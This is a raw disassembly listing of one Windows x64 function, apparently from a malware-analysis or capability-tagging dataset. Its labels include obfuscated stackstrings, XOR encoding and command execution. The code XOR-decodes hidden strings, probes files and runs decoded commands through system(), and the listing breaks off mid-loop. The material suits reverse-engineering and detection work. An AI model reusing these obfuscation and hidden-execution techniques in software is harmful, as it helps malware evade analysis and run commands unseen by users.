Function at 0x140050aa0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute command
Resolve function by parsing pe exports

Disassembly:
mov qword ss:[rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x690
mov rax, qword [0x1402f7e80]
xor rax, rsp
mov qword [rsp + 0x680], rax
xor r12d, r12d
lea rcx, str.tar___version__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140055386
mov dword [rsp + 0x2f0], 0x724f5c3e
mov dword [rsp + 0x2f4], 0x746962
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x2f1]
mov rsi, 0xffffffffffffffff
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140050b20
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x14005539f
lea r15, [0x1402f8918]
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
lea rcx, [rsp + 0x50]
call fcn.1400508a0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.140003d00
nop dword [rax]
test bl, bl
jne 0x140050c9d
mov dword [rsp + 0x2f0], 0x724f5c74
mov dword [rsp + 0x2f4], 0x746962
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x2f1]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x140050bd0
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x1400553a6
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.1401731a0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005120
nop
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rcx, qword [rsp + 0x70]
call fcn.140173400
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400553ac
lea rcx, [rsp + 0x70]
call fcn.140003c80
nop
lea rcx, [rsp + 0x50]
call fcn.140003d00
movdqa xmm0, xmmword [0x1402ce5c0]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1402ce590]
movdqu xmmword [rsp + 0xa0], xmm1
mov dword [rsp + 0xb0], 0x2e747369
mov dword [rsp + 0xb4], 0x676572
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x91]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x140050ce7
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x1400553c6
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x91]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.1401731a0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005120
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x660]
call fcn.140006a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x2f0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x300], ecx
lea r13, [0x1402f7f38]
mov qword [rsp + 0x308], r13
movaps xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x300], xmm0
mov eax, dword [rsp + 0x2f0]
test eax, eax
je 0x140050e2f
cmp eax, 1
setne bl
lea rcx, [rsp + 0x70]
call fcn.140003c80
nop
lea rcx, [rsp + 0x50]
call fcn.140003d00
test bl, bl
je 0x140050f48
mov dword [rsp + 0x2f0], 0x724f5c48
mov dword [rsp + 0x2f4], 0x746962
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x2f1]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x140050e15
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x1400553cc
jmp 0x140050e3b
xor bl, bl
test ecx, ecx
jne 0x1400553d2
jmp 0x140050dce
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.1401731a0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005120
nop
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rcx, qword [rsp + 0x70]
call fcn.1401738e8
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rsp + 0x2f0], rcx
mov dword [rsp + 0x300], edx
mov qword [rsp + 0x308], r13
movaps xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x300], xmm0
cmp edx, 0x91
jne 0x140050f25
lea r8, ds:[rsp + 0x2f0]
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x70]
call fcn.14004d960
cmp dword [rsp + 0x300], 0
jne 0x1400553ec
lea rcx, [rsp + 0x70]
call fcn.140003c80
nop
lea rcx, [rsp + 0x50]
call fcn.140003d00
movdqa xmm0, xmmword [0x1402ce570]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x65706c65
mov dword [rsp + 0x64], 0x78742e72
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x51]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140050f80
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140055406
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140051012
mov rcx, qword [0x1402f8968]
inc rdx
cmp rdx, 0x1000
jb 0x14005100d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005109b
mov rcx, r8
call fcn.1401740c0
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [0x1402f8968], xmm0
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [0x1402f8978], xmm1
movdqa xmm0, xmmword [0x1402ce180]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.140003d00
movdqa xmm0, xmmword [0x1402ce6a0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x51]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x140051081
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x14005540c
jmp 0x1400510a7
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x80]
lea rbx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rbx, qword [rsp + 0x70]
call fcn.1401731a0
mov qword ds:[rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x380]
call fcn.140005120
nop
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x660]
call fcn.140006a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x2f0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x300], ecx
mov qword [rsp + 0x308], r13
movaps xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x300], xmm0
mov eax, dword [rsp + 0x2f0]
test eax, eax
je 0x14005120b
cmp eax, 1
sete bl
lea rcx, [rsp + 0x380]
call fcn.140003c80
nop
lea rcx, [rsp + 0x70]
call fcn.140003d00
nop dword [rax + rax]
test bl, bl
je 0x140051313
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x550]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1402ce690]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x51]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400511f1
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140055412
jmp 0x14005121a
mov bl, 1
test ecx, ecx
jne 0x140055418
jmp 0x140051180
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x550]
call fcn.1400221c0
mov rax, qword [rsp + 0x550]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x550], rax
mov rax, qword [rsp + 0x550]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x54c], edx
lea rcx, [rsp + 0x70]
call fcn.140003d00
cmp qword [rsp + 0x5d8], 0
jne 0x1400512f7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x110]
call fcn.1400558d0
lea rdx, [rax + 1]
mov r9, rdx
mov r10d, 0xad
nop word [rax + rax]
movzx r8d, byte [rax]
xor byte [r9], r8b
lea r9, [r9 + 1]
sub r10, 1
je 0x140055435
jmp 0x1400512e0
lea rcx, ds:[rsp + 0x550]
call fcn.140022120
nop
lea rcx, [rsp + 0x550]
call fcn.140008f20
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1e0]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1402ce680]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x51]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140051360
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x14005545b
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1e0]
call fcn.140021000
nop
lea rcx, [rsp + 0x70]
call fcn.140003d00
mov rax, qword ds:[rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140055466
xorps xmm0, xmm0
movups xmmword [rsp + 0x3b8], xmm0
mov qword [rsp + 0x3c8], r12
mov qword [rsp + 0x3d0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x3b8], 0
movups xmmword [rsp + 0x3d8], xmm0
mov qword [rsp + 0x3e8], r12
mov qword [rsp + 0x3f0], r12
xor r8d, r8d
lea rdx, [0x1402c17ee]
lea rcx, [rsp + 0x3d8]
call fcn.140007560
nop
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x1e0]
call fcn.140027f00
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140051513
lea rdx, [rsp + 0x3b8]
cmp qword [rsp + 0x3d0], 0xf
cmova rdx, qword [rsp + 0x3b8]
mov r8, qword [rsp + 0x3c8]
lea rcx, [rsp + 0x3d8]
call fcn.1400234e0
mov rax, qword ds:[rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x1e0]
call fcn.140027f00
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140051497
lea rcx, ds:[rsp + 0x1f0]
call fcn.140023ce0
test rax, rax
jne 0x14005154e
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x3f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x408], xmm1
xor r8d, r8d
lea rdx, [0x1402c17ee]
lea rcx, [rsp + 0x3f8]
call fcn.140007560
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3a0], xmm1
mov qword [rsp + 0x3b0], r12
lea rcx, [rsp + 0x3d8]
cmp qword [rsp + 0x3f0], 0xf
cmova rcx, qword [rsp + 0x3d8]
mov r8, qword [rsp + 0x3e8]
test r8, r8
jne 0x14005198a
lea rdx, [0x1402c17ee]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14005198a
mov eax, dword [0x1402fc7f8]
cmp eax, 0x4a65
jne 0x1400515ec
lea rdx, [rsp + 0x300]
call fcn.140055a80
jmp 0x140051605
cmp eax, 0x5867
jne 0x14005165a
lea rdx, ds:[rsp + 0x300]
call fcn.140055aa0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.140023640
jmp 0x140051a7b
lea rcx, [rsp + 0x550]
call fcn.140008f90
lea rdx, [rsp + 0x50]
call fcn.140055ac0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r15
lea rcx, [rsp + 0x70]
call fcn.140024e30
nop
mov rdx, rax
lea rcx, [rsp + 0x550]
call fcn.140022160
nop
lea rcx, [rsp + 0x70]
call fcn.140003d00
cmp qword [rsp + 0x5d8], 0
je 0x14005551c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x110]
call fcn.140055ba0
mov r9, r12
lea rdx, [rax + 1]
nop word [rax + rax]
movzx r8d, byte [rax]
xor byte [rdx + r9], r8b
inc r9
cmp r9, 0x95
jb 0x140051720
mov byte ds:[rdx + 0x95], 0
call fcn.1400040a0
lea rdx, [0x1402c17ee]
lea rcx, [rsp + 0x380]
call fcn.140007520
nop
lea rdx, [rsp + 0x380]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140061720
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov word ds:[rsp + 0x2f0], 0x3018
mov byte [rsp + 0x2f2], 0
lea rdx, [rsp + 0x2f1]
lea rcx, [rsp + 0x380]
call fcn.1400252e0
test al, al
je 0x14005182a
mov dword [0x1402fc7f8], 0x4a65
lea rdx, ds:[rsp + 0x300]
call fcn.140055cd0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.140023640
lea rdx, ds:[rsp + 0x300]
call fcn.140055cd0
jmp 0x1400518cd
mov word [rsp + 0x2f0], 0x3155
mov byte [rsp + 0x2f2], 0
lea rdx, [rsp + 0x2f1]
lea rcx, [rsp + 0x380]
call fcn.1400252e0
test al, al
je 0x14005569b
lea rdx, [rsp + 0x300]
call fcn.140055cf0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.140023640
mov dword [0x1402fc7f8], 0x5867
lea rdx, [rsp + 0x300]
call fcn.140055d10
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x550]
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x550]
call fcn.140022120
lea rdx, [rsp + 0x2f0]
call fcn.140055d60
lea rcx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rcx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
mov byte [rcx + 3], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x380]
call fcn.140003d00
nop
lea rcx, [rsp + 0x550]
call fcn.140008f20
jmp 0x140051a7b
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x3f8]
call fcn.140023660
lea rdx, [rsp + 0x300]
call fcn.140055d70
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3d8]
call fcn.1400252e0
nop dword [rax]
test al, al
je 0x140051a10
mov dword [0x1402fc7f8], 0x5867
jmp 0x140051a7b
lea rdx, [rsp + 0x300]
call fcn.140055d90
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3d8]
call fcn.1400252e0
test al, al
je 0x140051a7b
mov dword [0x1402fc7f8], 0x4a65
movdqa xmm0, xmmword [0x1402ce600]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x80], 0x74616470
mov word [rsp + 0x84], 0x61
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x71]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140051ab0
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x14005570c
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x71]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
lea rcx, [rsp + 0x50]
call fcn.1400508a0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.140003d00
test bl, bl
jne 0x140051c78
lea rdx, [rsp + 0x2f0]
call fcn.140055db0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
mov rcx, rax
call fcn.1400508a0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.140003d00
test bl, bl
jne 0x140051bd5
lea rdx, [rsp + 0x2f0]
call fcn.140055dd0
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140025340
nop
lea rcx, [rsp + 0x70]
call fcn.14004d900
nop
lea rcx, [rsp + 0x70]
call fcn.140003c80
nop
lea rcx, [rsp + 0x50]
call fcn.140003d00
nop
lea rdx, [rsp + 0x70]
call fcn.140055df0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
mov byte [r8 + 0x14], 0
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.140025340
nop
lea rcx, [rsp + 0x380]
call fcn.14004d900
movzx ebx, al
lea rcx, [rsp + 0x380]
call fcn.140003c80
nop
lea rcx, [rsp + 0x50]
call fcn.140003d00
test bl, bl
je 0x140051fdd
movdqa xmm0, xmmword [0x1402ce640]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [str.ons_Regular.ttf]
movdqu xmmword [rsp + 0x60], xmm1
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x51]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x140051ca3
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x14005537c
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x90]
call fcn.140027b80
nop
movdqa xmm0, xmmword [0x1402ce480]
movdqa xmmword [rsp + 0x320], xmm0
movdqa xmm1, xmmword [0x1402ce580]
movdqa xmmword [rsp + 0x330], xmm1
movdqa xmm0, xmmword [str._7Uhxsn7H]
movdqa xmmword [rsp + 0x340], xmm0
movdqa xmm1, xmmword [0x1402ce860]
movdqa xmmword [rsp + 0x350], xmm1
movdqa xmm0, xmmword [0x1402ce760]
movdqa xmmword [rsp + 0x360], xmm0
mov word [rsp + 0x370], 0x7c6e
mov byte [rsp + 0x372], 0
mov rcx, r12
nop word [rax + rax]
movzx eax, byte ds:[rsp + 0x320]
xor byte [rsp + rcx + 0x321], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x322], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x323], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x324], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x325], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x326], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x327], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x328], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x329], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32a], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32b], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32c], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32d], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32e], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32f], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x330], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x331], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x332], al
